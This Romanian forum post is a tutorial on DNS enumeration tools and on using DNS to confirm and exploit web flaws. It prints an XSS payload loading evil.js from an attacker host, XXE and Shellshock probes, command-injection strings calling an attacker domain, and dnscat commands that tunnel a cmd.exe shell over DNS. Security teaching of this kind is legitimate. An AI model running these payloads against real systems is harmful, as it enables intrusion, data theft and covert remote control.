Jump to content
bc-vnt

DNS : Enumerare si descoperire

Recommended Posts

Posted (edited)

Domeniu Nume Sistem ( DNS ), este unul din instrumentele pe care le folosim foarte des pentru a naviga pe internet, acesta fiind folosit pentru a transforma o adresa WEB sau un HOSTNAME cu formatul www.numesite.com.it.ro.net.ecc intr-o adresa IP cu formatul numeric nnn.nnn.nnn.nnn . Cum o sa vedem in continuare, DNS-urile au mult mai multe functii, iar scopul acestui tutorial este acela de a vedea, cum putem efectua ENUMERARI DI DESCOPERIRI, adica cum sa citim adresele IP asociate unui domeniu si sa descoperim sub-domeniile conectate acestuia .

Tipuri de DNS

Inainte de a incepe cu practica, este necesar sa clarificam, care sunt principalele tipuri de DNS si campul lor de utilitate

Tip de DNS          ||          Descriere
A || Transofrma un HOSTNAME intr-o adresa IPv4
AAAA || Transforma un HOSTNAME intr-o adresa IPv6
CNAME || Transforma un HOSTNAME intr-un alt HOSTNAME
MX || Ne da adresa de E-mail Exchange folosita pentru trimiterea de e-mail
NS || Ne da adresa NAMESERVER folosita pentru gestionarea "recordDNS"
TXT || Ne ofera un sir ( string )
SRV || Service Record, folosit pentru a specifica un tip de serviciu, poate contine HOSTNAME-ul si PORT-ul pe care serviuciu lucreaza, foarte des folosit pentru VoIP
PTR || Pointer Record, folosit pentru a obtine un HOSTNAME pe IP

Pe pagina de Wikipedia, este disponibila lista completa tuturor tipurilor de DNS record .

Enumerare si descoperire

Tool-ul care ne permite sa facem chemari de tip DNS ( request ) este dig . Sa vedem cum putem sa chemam tipul de DNS " A " al domeniului HTML.it, folosind serverul DNS google ( 8.8.8.8 ) :

dig @8.8.8.8 -t A html.it

1-600x246.png

Dar daca vom vrea sa obtinem toate topurile de DNS record, fara sa specificam ce vrem pas cu pas, vom folosii :

dig @8.8.8.8 -t ANY html.it

2_s.jpg

Informatiile primite de la dig, pot fii prea putine si incomplete, putem insa sa obtinem mai multe informatii folosind dnsdict6 .

dnsdict6 -4 -d -S html.it

Comenzile precendente :

  • Paramentrul " -4 ", efectueaza enumerarea si pe protocolul IPv4
  • Paramentrul " -d ", ne arata informatii si indrumari IPv6
  • Paramentrul " -S ", cere efectuarea enumerari pe tipul de DNS SRV

3_s.jpg

dnsdict6 contine default un dictionar de aproximativ 1500 de cuvinte cheie, care sunt utilizate ( cum se vede in iesire precendenta ( output )), pentru a gasii domenii de nivelul 3 ( numite sub-domenii ) . Este posibil daca vrem sa specificam un dictionar extern .

dnsdict6 -4 -d -S html.it /home/simone/dizionari/dns_presonal.txt

Acum ca am obtinut o lista mai mult sau mai putin completa de sub-domenii putem sa trecem la folosire de " dnsenum ", o comanda care in afara ca probeaza din dictionar cuvintele cheie, efectueaza o cautare direct pe Google, pentru a ne da rezultate mult mai exacte .

dnsenum --dnsserver 8.8.8.8 --enum html.it

Comenzile precendente :

  • Parametrul " -dnsserver ", specifica pe care server sa mergem si sa efectual request-urile
  • Parametrul " -enum ", porneste varie tipuri de enumerare, dintre care, dictionar, cautare Google si rezultate Whols .

4_s.jpg

Pe langa toate astea, este posibil sa obtinem o lista cu sub-domenii cu ajutorul Google ( excluzand rezultatele care contin WWW, utilizand stringul ca in exemplu :

site:html.it -www

5_s.jpg

Incest puct in care suntem ajunsi avem mult mai multe informatii despre domeniul pe care il analizam . Putem strange acum cuvintele cheie pe care le-am folosit, pentru a proteja domeniul de atacurile de tip " Man-in-the-Middle" sau transferuri frauduloase . Acest sistem de protejare se numeste DNSSEC .

dnsrecon -d verisigninc.com

  • Paramentrul " -d ", ne permite sa specificam domeniul asupra caruia vrem sa efectual enumerarea .

6-600x205.png

Acum, avem destule informatii pentru a face descoperirea ( discovery ) : este vorba de procesul de cautare prin adresele IP ( vecine ), cautand alte nume DNS, care pot face referire la tinta noastra ( target ) .

dnsrecon -r 151.1.244.200/24

  • Parametrul " -r ", efectueaza un " Reverse Lookup " . Range-ul ( Gama ), este specificata cu un netmask, este request-ul care este trimis serverului DNS de tip PTR .

7_s.jpg

Pentru a face reversing adreselor IPv6, putem folosii dnsrevenum6 :

dnsrevenum6 8.8.8.8 2001:41d0:1:ad64:1::/48

In precedenta comanda, primul parametru este adressa serverului DNS ( in acest caz Google ) si al doilea parametru este range-ul, specificat cu netmask /48, al adresei IPv6 .

8_s.jpg

Toate informatiile adunate, provin din servicii publice, deci sunt consultabile de oricine, nu am facut nici o ilegalitate pe durata procesului de enumerare si descoperire .

DNS : Functionarea si verificarea acestuia de vulnerabilitati

Parcursul unui request DNS .

9_s.jpg

Imaginea de mai sus, a fost selectata din prezentarea tinuta de Ron Bowes ( angajat Google ), tinuta la DerbyCon 2014, unde explica exact cum functioneaza un request DNS .

Primul dispozitiv pe care il vom interoga va fii router-ul nostru .

In cazul in care nu s-au facut request-uri pana acum, request-ul va ajunge la serverul DNS configurat in internul router-ului .

Daca nici Google nu este abil pentru a rezolva adresa, va face intrebari root-serverelor (servere care sunt responsabile pentru fiecare domeniu de nivel 1 in parte ) .

Daca nici aceste ultime masuri nu gasesc raspunsul, vor face un tur de request-uri la autohoritative server, care este un server DNS sub controlul nostru .

In acest mod vom putea raspunde originalului request DNS cu valoarea aleasa de noi . Trebuie sa stim sa serviciul DNS este lasat deschis in majoritatea parilor de server, daca nu ar fi asa, nu ar mai exista posibilitatea ca serverul sa comunice cu toti la nivel global . Acesta ne permite sa comunicam cu serverul, reusind sa trecem peste eventuali Firewall sau Intrusion Prevention System ( IPS ) .

Noi metode de atac folosind DNS-uri, verificarea de vulnerabilitati

Intr-un assessment in blackbox este greu sa intelegem cum datele vin in internul sistemului . Cu ajutorul DNS-ului putem sa urmarim sau cel putin sa intelegem daca datele noastre sunt acceptate de terzi .

Cross-Site Scripting ( XSS )

In perioada 2010 si 2012 au fost efectuate teste pe trei mari portale de Whols surprinzand, ele fiind vulnerabile atacurilor XSS, atacatorul crease un record DNS de tip TXT cu un cod similiar acestuia .

<script src="http://siteulnostru/evil.js"></script>

Folosind alte tipuri de DNS, cum ar fi, CNAME, MX sau PTR, ar fi fost mult mai greu, vazand ca tipurile de record precedente nu permit folosirea de spatii sau ghilimele ca in exemplu .

<script/src='http://siteulnostru/evil.js"></script>

10_s.jpg

Atacatorul a reusit sa injecteze un cod malitios permanent, care putea afecta orice vizitator .

SQL injection

Exista multe functii PHP sau ASP, care permit sa preluam valoarea unui record DNS . Aceste date pot fii folosite in continuare si utilizate intr-un query SQL fara a fi filtrat . Sa vedem cum putem exploata acest tip de vulnerabilitate, folosindune de un exemplu dat de Ron Bowse facut in PHP .

11-600x137.png

Atacatorul are posibilitatea de a modifica query-ul SQL, obtinand parola unui alt user, utilizand un record DNS de tip TXT ca in exemplu .

12-600x249.png

Acesta fiind un singur exemplu unde utilizatorul stie codul sursa al aplicatiei . Intr-un caz real este greu sa afli adevaratul query SQL daca nu stii cum a fost scris .

XML External Entity ( XXE )

Putem verifica daca un sistem este vulnerabil XXE introducand in internul fisierului sau a query XML, un cod ca cel ce urmeaza :

]<!ENTITY xxe SYSTEM "http://notexistingname.ourserver.org" >]>
<user>&xxe;</user>

Daca vom primii pe serverul nostru un request de rezolutie DNS pentru " notexistingname ", vom stii ca sistemul este vulnerabil actiunilor externe . In acest punct ajunsi putem sa incepem sa adunam fisiere locale, cum ar fii /etc/passwd .

ShellShock

Una dintre metodele de invazie pentru a verifica prezenta unui bug Bash ( ShellShock ), este folosirea rezolutiei DNS cu ajutorul nslookup, comanda recunoscuta pe Windows, Linux si Mac . Se poate imposta un user-agent si sa asteptam ca vin request-urile .

() { test;};nslookup shellshocked.ourserver.org

Daca vom primii pe serverul nostru un request de rezolutie DNS pentru " shellshocked ", vom sti ca aplicatia web foloseste un script cu o versiune vulnerabila de Bash . Putem deci sa executam orice alta comanda in locul simplei nslookup .

Remote command execution ( RCE )

Ca in exemplul de Shellshock putem executa nslookup, pentru a verifica vulnerabilitatile de tip RCE, pentru a face asta sunt o gama larga de trucuri ca in exemplu :

;nslookup shell.ourserver.org
`nslookup shell.ourserver.org`
|nslookup shell.ourserver.org
$(nslookup shell.ourserver.org)

Ca in exemplele precedente, cand vom primi un request de rezolutie pentru " shell ", va insemna ca am verificat vulnerabilitatea si putem incepe atacul .

DNS : Atac post-verificare

Noi metode de atac folosind DNS-uri, post-verificare

Dupa ce am verificat ca unul dintre atacurile precendent a functionat, putem in continuare sa folosim serviciul DNS pentru a mentine un profil low fara a face prea mult " zgomot " pe reteaua tintei noastre . Vom aveam nevoie de un tool numit dnscat, prezent in internul nbtool, poate fii obtinul prin GitHub .

dnscat --listen -p 53

Comanda precedenta :

  • " -listen ", deschide dnscat in modul server ( ascultare )
  • " -p ", identifica port-ul pe care va face " listening " . 53 fiind default, acela al serviciului DNS

Acum putem sa deschidem pe masina tintei, dnscat ca si client, care va reintoarce ca shell de comenzi de windows ( cmd.exe ) .

dnscat --dns virtualmachine1 -e cmd.exe

Aici :

  • " -dns ", identifica IP-ul sau hostname-ul masinii pe care este pornit dnscat in modalitatea server.
  • " -exec ", porneste promp-ul de comnezi windows

13.png

Iar acesta in schimb este vizualul serverului .

14_s.jpg

Tot ce este scris si citit de dnscat, trece prin queryDNS, asa cum putem vedea explorand cu Wireshark :

15_s.jpg

Concluzii

Am vazut cum sa folosim si sa abuzam de un serviciu care a existat mereu inca din primi ani '80 si pe care tot internetul se bazeaza . Tutorialul ne arata cum este posibil sa obtinem informatii facand query-uri de tip DNS si expoatarea unui canal de comunicare greu filtrat .

Multe metode de recunoastere si atac prezente in acet tutorial sunt ramificate din prezentarea lui Ron Bowse .

Videoul urmator, este o demonstratie de atac XSS majoritatii site-urilor Whols .

Sursa

Edited by bc-vnt

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...